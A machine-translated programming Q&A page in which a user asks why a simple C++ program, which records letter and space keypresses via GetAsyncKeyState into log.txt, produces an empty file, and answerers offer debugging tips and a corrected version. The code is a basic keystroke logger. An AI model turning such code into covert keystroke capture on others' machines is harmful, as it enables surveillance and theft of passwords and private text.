将关键输入写入文件
Writing key inputs to a file
我用GNU GCC编译器在代码块中编译这段代码,但由于某种原因,它创建的日志文件无论如何都是空的。知道为什么会这样吗?
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
ofstream log;
log.open("log.txt");
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
s+=i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
s+=" ";
}
}
log << s;
log.close();
cin.get();
}
考虑以下几点:
您是否在条件下尝试log << "TEST"
?
试试这个(在log.open
呼叫之后):
log.open("log.txt");
log << "TEST" << endl;
如果TEST
被写入文件,你的文件是空的,因为条件永远不会为真。
另一个问题可能是文件包含不可显示的字符。将文件转储到十六进制编辑器。文件的大小是否为0
,或者它是否包含您可能无法在普通文本编辑器上显示的数据?
*EDIT: *这应该是你想要的:
将i
或" "
直接写入log
或使用stringstream:
#include <sstream>
//...
ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
str << i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
str << " ";
}
}
log << str.rdbuf();
log.close();
cin.get();
尝试用if(GetKeyState(0x41))
代替if
很可能您正在错误的目录中查找log.txt
相关文章:
- C++文本文件输入
- C++ 中文件输入输出中的长长 v/s int
- 如何修复函数中的 fstream 文件输入以将正确的信息存储在结构数组中?
- 用空格填充 2D 数组(从文件输入)
- 流对象来表示文件输入,然后是标准输入?
- 用精神解析文件输入
- 从文件输入和输出
- 来自文本文件输入 c++ 的向量
- 如何通过键盘或分数文件输入分数
- 了解文件输入和输出,我可以写入文件,但无法从文件打印
- 词频程序 - 文件输入太大?
- 尝试从 csv 文件输入大量数据时出错
- 如何将文件从文件输入到C 中的矩阵中
- 如何从Windows CMD运行可执行文件并将其传递给文件输入的参数参数和重定向
- 如何解析文本文件并使用构造函数中的文件输入来创建对象的容器
- 这是读取文件输入的正确方法吗?
- 如何在 c++ 中使用二进制文件输入/输出读取/写入结构的字符串类型成员
- 如何创建一个具有空值、递减编号系统和.txt文件输入值的二维阵列网格
- C 文件输入流循环问题
- 使用对输入整数的文件输入